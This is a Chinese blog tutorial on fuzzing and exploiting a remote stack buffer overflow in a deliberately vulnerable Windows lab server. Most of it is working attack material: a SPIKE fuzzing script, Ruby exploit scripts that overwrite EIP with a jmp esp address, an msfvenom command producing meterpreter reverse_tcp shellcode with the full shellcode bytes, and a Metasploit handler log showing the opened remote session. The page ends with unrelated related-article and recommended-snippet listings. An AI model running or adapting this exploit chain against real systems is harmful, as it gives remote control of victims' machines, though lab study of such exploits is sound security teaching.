缓冲区溢出攻击很容易被攻击者利用,因为 C 和 C++等语言并没有自动检测缓冲区溢出操作,同时程序编写人员在编写代码时也很难始终检查缓冲区是否可能溢出.利用溢出,攻击者可以将期望数据写入漏洞程序内存中的任意位置,甚至包括控制程序执行流的关键数据(比如函数调用后的返回地址),从而控制程序的执行过程并实施恶意行为.

缓冲区溢出的常用攻击方法是将恶意代码 shellcode 注入到程序中,并用其地址来覆盖程序本身函数调用的返回地址,使得返回时执行此恶意代码而不是原本应该执行的代码.也就是说,这种攻击在实施时通常首先要将恶意代码注入目标漏洞程序中,并能够得到远程系统的控制权.

该笔记用于帮助读者理解远程缓冲区溢出的挖掘,以及编写漏洞利用程序片段,下面在进行实验前,读者应该具备一定得汇编代码阅读能力,以及对基本渗透工具的使用,并且请确保准备好以下测试环境:

被攻击主机: windows 10 (MyServer应用程序) 192.168.1.2
攻击主机: kali linux 192.168.1.7
x64dbg调试器: https://x64dbg.com/
ruby环境: http://www.ruby-lang.org
kali linux: https://www.kali.org/
MyServer下载地址:https://files-cdn.cnblogs.com/files/LyShark/MyServer.zip

1.这里编写了一个带有漏洞的Server服务器,其运行后会在本地开启9999端口,你可以使用nc工具进行连接.

2.nc工具连接后,可以执行一些测试函数,这些函数里面有一些带有漏洞,而一些则没有,这里可以通过使用help命令查询,远程服务器所支持的命令,也可以使用trun |的方式调用命令,为了用户能够准确的将实验进行下去,我这里在每个函数后面备注了信息,其中标注有yes的函数是存在漏洞的,相反的则是不存在漏洞的函数.

执行模糊测试

模糊测试是用于漏洞挖掘的探测工作,主要用于发现那些函数存在漏洞,尽管有许多模糊测试工具可以使用,但是在kali 系统中默认集成了SPIKE,SPIKE是一个模糊测试工具包,该工具可以通过编写脚本的方式进行测试任务,而无须自行编写上百行的测试代码.

1.首先我们使用generic_send_tcp进行测试,这里我们先来创建一个spike脚本,其内容如下.

root@kali:~# vim lyshark.spk

s_readline();              # 接收一行数据
s_string("trun |");        # 像目标发送的字串
s_string_variable("A");    # 发送的字符串

2.此时我们开始测试服务器MyServertrun函数是否存在漏洞,使用kali内置的工具进行模糊测试.

经过上面的缓冲区测试,你会发现MyServer服务器端崩溃了,我们的服务器在应对二进制字符串时表现异常,其实这就是一个典型的远程缓冲区溢出,之所以会崩溃的原因是因为缓冲区没有进行合理的边界检测,从而超出了缓冲区的容量,恶意的字符串覆盖了EIP指针,导致服务器不知道下一跳去哪里取指令,从而崩溃了.

控制EIP指针

接下来我们就来测试一下目标缓冲区的大小,这也是控制EIP指针的前提条件,现在我们需要具体的知道使用多少个字节才能够不多不少的覆盖掉程序中EIP寄存器,首先先来创建一个Ruby脚本,来完成远程对缓冲区的填充,这里Ruby的代码如下.

root@kali:~# vim lyshark.rb

require 'socket'

host = '192.168.1.2'
port = 9999

sock = TCPSocket.open(host, port)

command = "trun |"              # 指定要测试的函数
header = "/.:/"                 # 数据包发送固定写法
buf = "A" * 2000                # 生成2000个A
eip = "BBBB"                    # 方便区分
nops = "\x90" * 20

sock.gets()
sock.puts( command+header+buf+eip+nops ) # 发送2000个A
sock.close

root@kali:~# ruby lyshark.rb

上面的代码主要作用是,生成2000个A,我们在kali上面运行以上代码,发现服务器崩溃了,说明脚本正常工作了.

接下来我们附加x64调试器,并在调试器附加的基础上,再次执行以上代码,不出所料程序再次崩溃,这里我们主要关心崩溃后的堆栈情况,下图可发现EIP指针为90904242,也就是说当前EIP一半在nop雪橇上另一半在AA上,由此我们可以猜测此时我们填充少了.

接下来我们修改一下攻击脚本,将填充物改大一些,这次我们改成2002,也就是说想远程填充2002个A,重新运行服务器上的服务,并再次运行攻击脚本.

require 'socket'

host = '192.168.1.2'
port = 9999

sock = TCPSocket.open(host, port)

command = "trun |"              # 指定要测试的函数
header = "/.:/"                 # 数据包发送固定写法
buf = "A" * 2002                # 生成2002个A
eip = "BBBB"                    # 方便区分
nops = "\x90" * 50

sock.gets()
sock.puts( command+header+buf+eip+nops ) # 发送2002个A
sock.close

root@kali:~# ruby lyshark.rb

得到以下数据,你会发现我们的EIP地址已经指向了42424232,也就是BBBB,由此可得出填充物的大小为2002个字节

构建漏洞攻击

在上面的环节中我们确定了填充物的大小,但细心的你会发现程序每次运行其栈地址都是随机变化的,在Windows漏洞利用过程中,由于动态链接库的装入和卸载等原因,Windows进程的函数栈帧可能产生移位,即shellcode在内存中的地址是动态变化的,因此需要 exploit 在运行时动态定位栈中的 shellcode ,那么我们第一步就是寻找一个跳板,能够动态的定位栈地址的位置,在这里我们使用jmp esp作为跳板指针.

其基本思路就是,用内存中任意一个jmp esp的地址覆盖返回地址,函数返回后被重定向去执行内存中jmp esp指令,而esp的地址正好是我们布置好的nop雪橇的位置,此时EIP指针就会顺着nop雪橇滑向我们构建好的恶意代码,从而触发后门.

1.首先通过x64dbg调试器加载服务器程序,选择符号,这里我找到了kernelbase.dll这个外部模块,如下图.

2.接着我们搜索该模块中的jmp esp指令,因为这个指令地址是固定的,我们就将EIP指针跳转到这里执行跳转,又因esp寄存器存储着当前的栈地址,所以刚好跳转到我们的nop雪橇的位置上.

x64dbg调试器的反汇编界面中,按下ctrl + f 搜索,并记录下这个搜寻到的地址0x77433f73,其实这里随便一个只要是jmp esp 指令的都可以,我们将其作为EIP的跳转地址,最后通过使用MSF生成一个反向连接的shellcode,并将其加入到脚本中.

root@kali:~# msfvenom -a x86 --platform Windows \
>                              -p windows/meterpreter/reverse_tcp \
>                              -b '\x00\x0b' LHOST=192.168.1.7 LPORT=9999 -f ruby

Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of ruby file: 1612 bytes
buf =
"\xba\x94\x23\x08\x8e\xdb\xd1\xd9\x74\x24\xf4\x5e\x33\xc9" +
"\xb1\x56\x31\x56\x13\x03\x56\x13\x83\xee\x68\xc1\xfd\x72" +
"\x78\x84\xfe\x8a\x78\xe9\x77\x6f\x49\x29\xe3\xfb\xf9\x99" +
...省略...

3.最后在msf控制主机,启动一个侦听器,等待运行脚本.

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > set lhost 192.168.1.7
lhost => 192.168.1.7
msf5 exploit(multi/handler) > set lport 9999
lport => 8888
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.7:9999

4.经过上面的步骤我们已经构建出了漏洞利用代码,此时我们运行代码.

require 'socket'

host = '192.168.1.2'
port = 9999

sock = TCPSocket.open(host, port)

command = "trun |"       #数据包包头写法
header = "/.:/"          #数据包发送固定写法

buf = "A" * 2002         #2002个字节刚好填充满
eip = "\x73\x3f\x43\x77" #EIP=77433F73  将该地址反写,
nops = "\x90" * 20       #此处是nop雪橇填充的20个字节

shellcode =
"\xd9\xf7\xd9\x74\x24\xf4\x5a\xbb\xc8\xbb\x47\x96\x29\xc9" +
"\xb1\x56\x31\x5a\x18\x83\xc2\x04\x03\x5a\xdc\x59\xb2\x6a" +
"\x34\x1f\x3d\x93\xc4\x40\xb7\x76\xf5\x40\xa3\xf3\xa5\x70" +
"\xa7\x56\x49\xfa\xe5\x42\xda\x8e\x21\x64\x6b\x24\x14\x4b" +
"\x6c\x15\x64\xca\xee\x64\xb9\x2c\xcf\xa6\xcc\x2d\x08\xda" +
"\x3d\x7f\xc1\x90\x90\x90\x66\xec\x28\x1a\x34\xe0\x28\xff" +
"\x8c\x03\x18\xae\x87\x5d\xba\x50\x44\xd6\xf3\x4a\x89\xd3" +
"\x4a\xe0\x79\xaf\x4c\x20\xb0\x50\xe2\x0d\x7d\xa3\xfa\x4a" +
"\xb9\x5c\x89\xa2\xba\xe1\x8a\x70\xc1\x3d\x1e\x63\x61\xb5" +
"\xb8\x4f\x90\x1a\x5e\x1b\x9e\xd7\x14\x43\x82\xe6\xf9\xff" +
"\xbe\x63\xfc\x2f\x37\x37\xdb\xeb\x1c\xe3\x42\xad\xf8\x42" +
"\x7a\xad\xa3\x3b\xde\xa5\x49\x2f\x53\xe4\x05\x9c\x5e\x17" +
"\xd5\x8a\xe9\x64\xe7\x15\x42\xe3\x4b\xdd\x4c\xf4\xda\xc9" +
"\x6e\x2a\x64\x99\x90\xcb\x94\xb3\x56\x9f\xc4\xab\x7f\xa0" +
"\x8f\x2b\x7f\x75\x25\x26\x17\xb6\x11\x37\xe0\x5e\x63\x38" +
"\xc9\x91\xea\xde\x45\xfe\xbc\x4e\x26\xae\x7c\x3f\xce\xa4" +
"\x73\x60\xee\xc6\x5e\x09\x85\x28\x36\x61\x32\xd0\x13\xf9" +
"\xa3\x1d\x8e\x87\xe4\x96\x3a\x77\xaa\x5e\x4f\x6b\xdb\x38" +
"\xaf\x73\x1c\xad\xaf\x19\x18\x67\xf8\xb5\x22\x5e\xce\x19" +
"\xdc\xb5\x4d\x5d\x22\x48\x67\x15\x15\xde\xc7\x41\x5a\x0e" +
"\xc7\x91\x0c\x44\xc7\xf9\xe8\x3c\x94\x1c\xf7\xe8\x89\x8c" +
"\x62\x13\xfb\x61\x24\x7b\x01\x5f\x02\x24\xfa\x8a\x10\x23" +
"\x04\x48\x3f\x8c\x6c\xb2\x7f\x2c\x6c\xd8\x7f\x7c\x04\x17" +
"\xaf\x73\xe4\xd8\x7a\xdc\x6c\x52\xeb\xae\x0d\x63\x26\x6e" +
"\x93\x64\xc5\xab\x24\x1e\xa6\x4c\xc5\xdf\xae\x28\xc6\xdf" +
"\xce\x4e\xfb\x09\xf7\x24\x3a\x8a\x4c\x36\x09\xaf\xe5\xdd" +
"\x71\xe3\xf6\xf7"

sock.gets()
sock.puts( command+header+buf+eip+nops+shellcode )
sock.close

5.查看攻击主机,即可看到一个反向连接shell,此时我们可以远程执行任意命令.

msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.7:9999
[*] Sending stage (179779 bytes) to 192.168.1.2
[*] Meterpreter session 1 opened (192.168.1.7:9999 -> 192.168.1.2:9900) at 2019-03-27 02:11:56 -0400

meterpreter > sysinfo
Computer        : web-server
OS              : Windows 10 (Build 16373).
Architecture    : x64
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >

教程到这里就结束了,这里只是一个挖掘漏洞的小例子,根据这个例子读者就可以了解漏洞挖掘的具体流程,其实大多数漏洞挖掘无外乎这些步骤,只是在一些方面会有一些差异而已,但大同小异.

Windows 远程栈溢出挖掘与利用的更多相关文章

  1. Vivotek 摄像头远程栈溢出漏洞分析及利用

    Vivotek 摄像头远程栈溢出漏洞分析及利用 近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃. 漏洞作者@bashis 放出了可造成摄像头 C ...

  2. frp服务利用云主机实现Windows远程连接

    frp服务利用云主机实现Windows远程连接 1.下载所需要的安装包 https://github.com/fatedier/frp/releases 下载 frp_0.44.0_linux_amd ...

  3. Windows远程连接Linux

    目录 xrdp方式 vnc方式 xrdp方式 ----------------------------------------------------------------------------- ...

  4. LearnX控件漏洞挖掘与利用

    前言 大学英语会用到一个 ActiveX 插件 LearnX ,最近从网上下了一个下来分析了一下,找到了一些漏洞并完成了 exploit . 虽然涉及的知识比较老旧,不过还是挺有意思的.这里分享一下整 ...

  5. Kali2.0通过xrdp实现windows远程链接Linux

    标题:Kali2.0通过xrdp实现windows远程链接Linux apt-get install xrdp 首先需要安装xrdp 接下来安装xfce4 apt-get install xfce4 ...

  6. Windows远程命令执行0day漏洞安全预警

      网站安全云检测这不是腾讯公司的官方邮件. 为了保护邮箱安全,内容中的图片未被显示. 显示图片 信任此发件人的图片   一.概要 Shadow Brokers泄露多个Windows 远程漏洞利用工具 ...

  7. [CVE-2017-8464]Microsoft Windows远程命令执行漏洞复现

    版权声明:本文为博主的原创文章,未经博主同意不得转载 前言 记录下自己的复现,保留意见 2017年6月13日,微软官方发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快 ...

  8. windows远程连接老是出问题?如何使用Radmin进行云服务器的远程连接与文件传输?

    (windows远程连接老是出错怎么办?云服务器远程连接一直有问题怎么办?如何用对多台windows电脑远程连接怎么办? 最近发现win的mstsc不好用,偶然想起Radmin这款老牌软件,利用Rad ...

  9. Windows远程桌面打印机映射

    计算机的打印机驱动能打印,需要满足两个条件,一个是有打印驱动本身,一个是要有连接好了的端口.这样,打印作业就会被打印驱动程序封装成一种打印机能识别的组织形式,然后通过打印端口发送给打印机,然后打印! ...

随机推荐

  1. leetcode448

    public class Solution { public IList<int> FindDisappearedNumbers(int[] nums) { Dictionary<i ...

  2. __get__ __set__ __delete__描述符

    描述符就是一个新式类,这个类至少要实现__get__ __set__ __delete__方法中的一种class Foo: def __get__(self, instance, owner): pr ...

  3. i386 x86_64 armv7 arm64

    arm7: Used in the oldest iOS 7-supporting devices arm7s: As used in iPhone 5 and 5C arm64: For the 6 ...

  4. Spring中@相关注解的意义

    1.@controller 控制器(注入服务) 用于标注控制层,相当于struts中的action层 2.@service 服务(注入dao) 用于标注服务层,主要用来进行业务的逻辑处理 3.@rep ...

  5. Ubuntu输入命令无效的问题

    https://blog.csdn.net/u014797226/article/details/80800550?utm_source=blogxgwz2 Ubuntu启动时输入密码后,一直停留在登 ...

  6. JS获取URL中文参数乱码的解决方法

    浏览器URL参数值中带有汉字字符,在接收时直接获取会出现乱码,下面是解决方法(传递前不需要encodeURI): function getUrlVars() { var vars = [], hash ...

  7. Java 运行时常量池

    运行时常量池是方法区的一部分.class中除了有类的版本,字段,方法,接口等描述信息外,还有一项信息是常量池,用于存放编译期生成的各种字面量和符号引用,这部分内容将在类加载后存放在方法区的运行时常量池 ...

  8. React-router4 第六篇 No Match 404

    https://reacttraining.com/react-router/web/example/no-match react-router-dom 又一个新属性 Switch 在Switch 的 ...

  9. if语句和三元运算符的替换

    要求: 已经知道两个数,计算最大值 两个整数,比较大小 使用if还是三元 判断条件多,使用if 三元,必须有结果的, if 可以没有结果的*/public class IfElseDemo_1{ pu ...

  10. Linux 给文件夹或者文件增加权限

    chmod -R 777 文件夹参数-R是递归的意思777表示开放所有权限 chmod 777 test.sh chmod +x 某文件 如果给所有人添加可执行权限:chmod a+x 文件名:如果给 ...